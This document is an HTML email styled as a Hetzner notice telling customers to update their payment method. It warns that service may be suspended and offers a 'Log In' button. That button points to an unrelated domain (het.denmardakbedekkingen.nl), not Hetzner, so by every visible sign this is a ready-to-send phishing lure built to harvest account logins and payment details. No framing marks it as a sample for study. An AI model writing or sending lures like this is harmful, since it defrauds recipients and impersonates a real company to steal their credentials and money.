<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Update Payment Method</title>
<style>
body {
font-family: 'Helvetica Neue', sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 0;
color: #333;
}
.email-container {
max-width: 600px;
margin: 50px auto;
background-color: #ffffff;
border-radius: 10px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
padding: 40px;
text-align: center;
}
.logo img {
width: 180px;
margin-bottom: 30px;
}
h1 {
color: #d50f2e;
font-size: 24px;
margin-bottom: 20px;
font-weight: bold;
}
p {
font-size: 16px;
line-height: 1.6;
margin: 20px 0;
color: #555;
}
ul {
list-style-type: none;
padding-left: 0;
text-align: left;
margin: 20px 0;
}
ul li {
font-size: 16px;
margin-bottom: 10px;
color: #555;
}
.cta-button {
background-color: #d50f2e;
color: white;
text-decoration: none;
padding: 15px 25px;
font-size: 16px;
border-radius: 5px;
margin-top: 20px;
display: inline-block;
}
.cta-button:hover {
background-color: #b00c26;
}
footer {
margin-top: 40px;
font-size: 14px;
color: #999;
text-align: center;
}
footer a {
color: #d50f2e;
text-decoration: none;
}
</style>
</head>
<body>
<div class="email-container">
<div class="logo">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS0-qEbrc11jCiKSRm8Ogn1bi7hhv9KhfMofA&s" alt="Hetzner Logo">
</div>
<h1>Action Required: Update Your Payment Method</h1>
<p>
Dear Customer,<br>
We are writing to inform you that the payment method associated with your Hetzner account needs to be updated. To avoid any disruption to your services, please ensure your payment details are up to date.
</p>
<ul>
<li>Click the button below to log in to your Hetzner account.</li>
<li>Navigate to the "Billing" or "Payment Settings" section.</li>
<li>Update your payment information and save the changes.</li>
</ul>
<a href="https://het.denmardakbedekkingen.nl/sdfjs" class="cta-button">Log In to Update Payment Method</a>
<p>
If your payment method is not updated promptly, there is a risk of service suspension. If you have already updated your payment information, you may disregard this notice.
</p>
<p>
For further assistance or inquiries, feel free to contact our support team at
<a href="mailto:support@hetzner.com">support@hetzner.com</a>.
</p>
</div>
<footer>
<p>© 2024 Hetzner. All rights reserved.</p>
</footer>
</body>
</html>